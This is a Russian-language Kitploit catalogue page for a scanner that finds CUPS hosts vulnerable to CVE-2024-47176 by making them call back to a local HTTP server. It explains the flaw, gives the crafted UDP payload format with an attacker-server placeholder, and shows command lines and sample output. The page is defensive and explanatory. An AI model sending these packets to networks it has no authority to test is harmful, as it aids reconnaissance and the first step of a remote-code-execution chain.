Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-47176-Scanner — Простой сканер для выявления уязвимых экземпляров cups-browsed в вашей сети | Kitploit
Инструменты/GitHubGitHub/malwaretech/cve-2024-47176-scanner
РазведкаСканеры уязвимостейЭксплуатацияСбор информацииСетевая безопасностьТестирование на Проникновение
GitHubmalwaretech/cve-2024-47176-scanner

CVE-2024-47176-Scanner

Простой сканер для выявления уязвимых экземпляров cups-browsed в вашей сети

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
66131 год назадПроверено Kitploit

Быстрый старт

Пример использования: python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.1:1337

Сканер уязвимости CVE-2024-47176 (cups-browsed)

Что такое CUPS и почему это важно?

CUPS (Common Unix Printing System) — это фреймворк с открытым исходным кодом для управления и контроля принтеров в UNIX и UNIX-подобных системах. Это одна из наиболее широко используемых библиотек для печати, поддерживаемая UNIX, Linux и некоторыми устройствами Apple.

В CUPS было обнаружено несколько критических уязвимостей, которые в совокупности могут привести к удалённому выполнению кода. Рассматриваемые CVE: CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177.

Эти уязвимости позволяют удалённому злоумышленнику добавить или перенастроить сетевые принтеры таким образом, что они будут выполнять произвольный код, когда пользователи попытаются печатать с них.

Сканирование уязвимых систем CUPS

Краткий обзор CVE-2024-47176

Первая уязвимость в цепочке, CVE-2024-47176, представляет собой ошибку в демоне cups-browsed.

Уязвимость возникает из-за того, что cups-browsed привязывает свой контрольный порт (UDP-порт 631) к INADDR_ANY, делая его доступным для всех. Поскольку запросы не аутентифицируются, любой, кто может достичь контрольного порта, может дать команду cups-browsed на обнаружение принтера.

В случаях, когда порт недоступен из интернета (из-за межсетевых экранов или NAT), он может быть доступен через локальную сеть, что позволяет повысить привилегии и перемещаться по сети. По этой причине я создал этот сканер для обнаружения уязвимых экземпляров cups-browsed в вашей локальной сети.

Как работает сканирование CVE-2024-47176

Обычно атакующий начинает процесс эксплуатации, отправляя специально сформированный запрос к cups-browsed на UDP-порт 631, заставляя его обратиться к вредоносному URL под своим контролем.

Например, UDP-пакет, содержащий следующее: 0 3 http://<attacker_server>/printers/malicious_printer заставит cups-browsed выполнить HTTP-запрос к http://<attacker_server>/printers/malicious_printer.

Если URL представит себя как вредоносный принтер, это может запустить цепочку остальных CVE для получения удалённого выполнения кода.

Используя этот механизм, мы можем заставить уязвимый экземпляр cups-browsed выполнить HTTP-запрос (callback) на наш собственный сервер, идентифицируя себя как уязвимый.

Процесс сканирования выглядит следующим образом:

  1. Настройка базового HTTP-сервера (не нужно представляться принтером, так как мы не будем эксплуатировать уязвимость RCE).
  2. Создание UDP-пакета, который даст команду cups-browsed подключиться к нашему HTTP-серверу.
  3. Отправка UDP-пакета на каждый IP-адрес в заданном диапазоне на порт 631.
  4. Логирование любых POST-запросов к конечной точке /printers/, которые инициируются уязвимыми экземплярами cups-browsed.

Предположим, наш HTTP-сервер работает на 10.0.0.1:1337, тогда наш UDP-пакет должен выглядеть так: 0 3 http://10.0.0.1:1337/printers/test1234

Автоматизация сканирования с помощью cups_scanner.py

Этот сканер на Python обрабатывает всё за вас (как HTTP-сервер, так и сканирование).

Скрипт запускает временный HTTP-сервер через http.server на указанном IP и порту, затем формирует и отправляет UDP-пакеты на каждый IP в заданном диапазоне. HTTP-сервер автоматически перехватывает обратные вызовы от уязвимых экземпляров cups-browsed и записывает их на диск.

Удобочитаемые логи сохраняются в logs/cups.log, а сырые HTTP-запросы — в logs/requests.log

Аргументы командной строки

--target CIDR для сканирования. Может быть одним CIDR или несколькими CIDR, разделёнными запятыми.
--callback локальный IP и порт для размещения нашего HTTP-сервера (должен быть доступен из целевого диапазона)
--scan-unsafe по умолчанию мы сканируем только назначаемые адреса хостов (исключая сетевой адрес и широковещательный адрес). В некоторых случаях может быть желательно сканировать эти адреса, поэтому такое поведение можно изменить с помощью флага --scan-unsafe.

Примеры использования

Сканирование CIDR 10.0.0.0/24 с IP-адреса 10.0.0.1, размещение сервера обратного вызова на порту 1337:
python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.1:1337

Сканирование нескольких CIDR с IP-адреса 10.0.0.1, размещение сервера обратного вызова на порту 1337:
python3 cups_scanner.py --targets 10.0.0.0/24,10.0.1.0/24 --callback 10.0.0.1:1337

примечание: IP-адрес сервера обратного вызова должен принадлежать хосту, с которого выполняется сканирование, а порт должен быть доступен со всех целевых IP.

Пример вывода

root@kitploit:~
<root@haxx> python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.0.1:1337
[2024-10-06 21:57:09] starting callback server on 10.0.0.1:1337
[2024-10-06 21:57:14] callback server running on port 10.0.0.1:1337...
[2024-10-06 21:57:14] starting scan
[2024-10-06 21:57:14] scanning range: 10.0.0.1 - 10.0.0.254
[2024-10-06 21:57:14] scan done, use CTRL + C to callback stop server
[2024-10-06 21:57:14] received callback from vulnerable device: 10.0.0.22 - CUPS/2.4.10 (Linux 5.10.0-kali7-amd64; x86_64) IPP/2.0
[2024-10-06 21:57:14] received callback from vulnerable device: 10.0.0.25 - CUPS/2.4.10 (Linux 5.10.0-kali7-amd64; x86_64) IPP/2.0
[2024-10-06 21:57:17] shutting down server and exiting...

подробнее см.: Official CUPS Vulnerability Write Up

Скачать инструмент